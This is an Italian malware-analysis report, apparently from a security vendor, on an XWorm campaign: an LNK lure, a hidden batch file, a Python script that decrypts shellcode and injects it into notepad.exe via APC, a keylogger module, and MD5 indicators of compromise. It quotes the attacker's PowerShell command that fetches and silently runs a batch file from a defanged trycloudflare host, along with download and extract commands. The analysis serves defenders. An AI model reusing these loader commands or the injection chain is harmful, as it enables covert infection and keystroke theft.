Introduzione
Gli attaccanti sviluppano continuamente nuove tecniche per compromettere i sistemi e rubare informazioni sensibili. Recentemente i laboratori i nostri Seqrite Security Lab hanno individuato e analizzato una campagna di infezione multi-stadio che inizia con un file LNK. Il file, distribuito via email, è progettato per attirare la vittima e indurla ad aprire una fattura tramite un browser web. Nel frattempo, in background, vengono eseguite attività dannose che portano all’infezione con XWorm.
In questa analisi vediamo i principali dettagli tecnici di XWorm. Ci soffermeremo in particolare sui vari stadi di infezione, sull’uso di PowerShell, di script Python e di payload adottati dall’attaccante. Vedremo infine i metodi di attacco che facilitano l’injection di shellcode per il payload di XWorm. Nella campagna che abbiamo analizzato, l’attaccante ha fatto uso di una vecchia variante del payload che ha le stesse funzionalità della nuova variante di XWorm, con l’unica differenza che questa variante ha il modulo Xlogger.
Catena di Infezione di XWorm
La campagna di attacco inizia con un file LNK il cui scopo è quello di convincere la vittima ad aprire ad aprire una fattura tramite browser web. In background, il file scarica un archivio ZIP contenente il file setup di Phyton. Una volta estratto, abbiamivisto che il file contiene il file di setup di Phyton e alcuni script. Nella cartella dello script, ne abbiamo individuato una dannoso “Man.py”. Questo file decripta e inietta lo shellcode dannoso nel sistema.
Il file LNK
Il file LNK esegue comandi PowerShell senza aprire alcuna cartella. Questi comandi copiano un file batch (“man.bat”) nella cartella Downloads e lo eseguono in background utilizzando il comando Start-Process, con il flag -WindowStyle Hidden, per nascondere la finestra del prompt dei comandi.
Esempio di comando:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hidden -c “Copy-Item ‘\louise-monitor-mo-rating[.]trycloudflare[.]com@SSL\DavWWWRoot\man[.]bat’ \”$env:USERPROFILE\Downloads\”; Start-Process \”$env:USERPROFILE\Downloads\man[.]bat\” -WindowStyle Hidden”
Il File Batch
Il file batch scaricato avvia il processo di infezione distraendo la vittima con l’apertura di una fattura (PDF) in un browser web. Nel frattempo, esegue un comando PowerShell per scaricare un file ZIP, estrarne il contenuto e lanciare uno script Python che inietta shellcode malevolo nel sistema.
Download del file ZIP:
powershell -Command “& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri ‘%zipUrl%’ -OutFile ‘%destination%’ }”
Viene così scaricato, tramite Invoke-WebRequest
un file dall’URL integrato. Questo file viene salavato nella cartella Download. Il file ZIP viene quindi estratto, nella stessa cartella, usando il comando PowerShell
powershell -Command “& { Expand-Archive -Path ‘%destination%’ -DestinationPath ‘%extractTo%’ -Force }
Il contenuto estratto include lo script Python “man.py”, che viene quindi eseguito per portare a termine l’infezione.
Nelle prossime immagini sono visibili lo ZIP scaricato nella cartella Download, il web browser che apre i file PDF e il Powershell usato per estrarre il file.
Script Python
Lo script Python decodifica lo shellcode crittografato utilizzando Base64 e RC4, con una chiave integrata nello script. Successivamente, utilizza la funzione VirtualProtect per modificare i permessi della memoria allocata, consentendo l’esecuzione del codice dannoso.
Injection
Lo script Python, per prima cosa, prepara lo shellcode per l’esecuzione impostando i permessi necessari, quindi lo esegue. L’iniezione avviene in un processo legittimo, come “notepad.exe”, inizialmente avviato in stato sospeso. Dopo l’iniezione, viene eseguito un Asynchronous Procedure Call (APC) che attiva l’esecuzione del codice malevolo quando il processo riprende.
Il modulo XLogger di XWorm
Questa è una vecchia variante di XWorm che è ancora attiva. Gli attaccanti stanno evidentemente cercando nuovi metodi per infettare i sistemi. La versione analizzata include un modulo denominato XLogger, che registra eventi come l’apertura di file, i tasti digitati e l’uso del browser. Le informazioni vengono archiviate localmente nel percorso Local/Temp/log.txt e possono essere esfiltrate su comando del server di controllo.
La funzionalità di Keylogger
Il modulo keylogger utilizza API come SetWindowsHookEx con il tipo di hook WH_KEYBOARD_LL per registrare le sequenze di tasti. Funzioni aggiuntive, come GetKeyboardState o ToUnicodeEx, traducono i tasti premuti in testo leggibile, considerando il layout della tastiera corrente.
Indicatori di Compromissione (IOCs) per XWorm
NOME | MD5 |
File LNK | 1556BD8155D8E9FF2DBDCD852A354B64 |
File Batch | D0B5238A18ABC402B506F608968270DC |
File ZIP | C627DE3B90A0FB5CA8964026360B053A |
Payload XWorm | 5EDAB6926E304E4DBEF76800918BEE8A |
Protezione
- Trojan.Xworm.S34251703
- Trojan.GenericFC.S29960909
Per il testo completo e i riferimenti MITRE vedi il report originale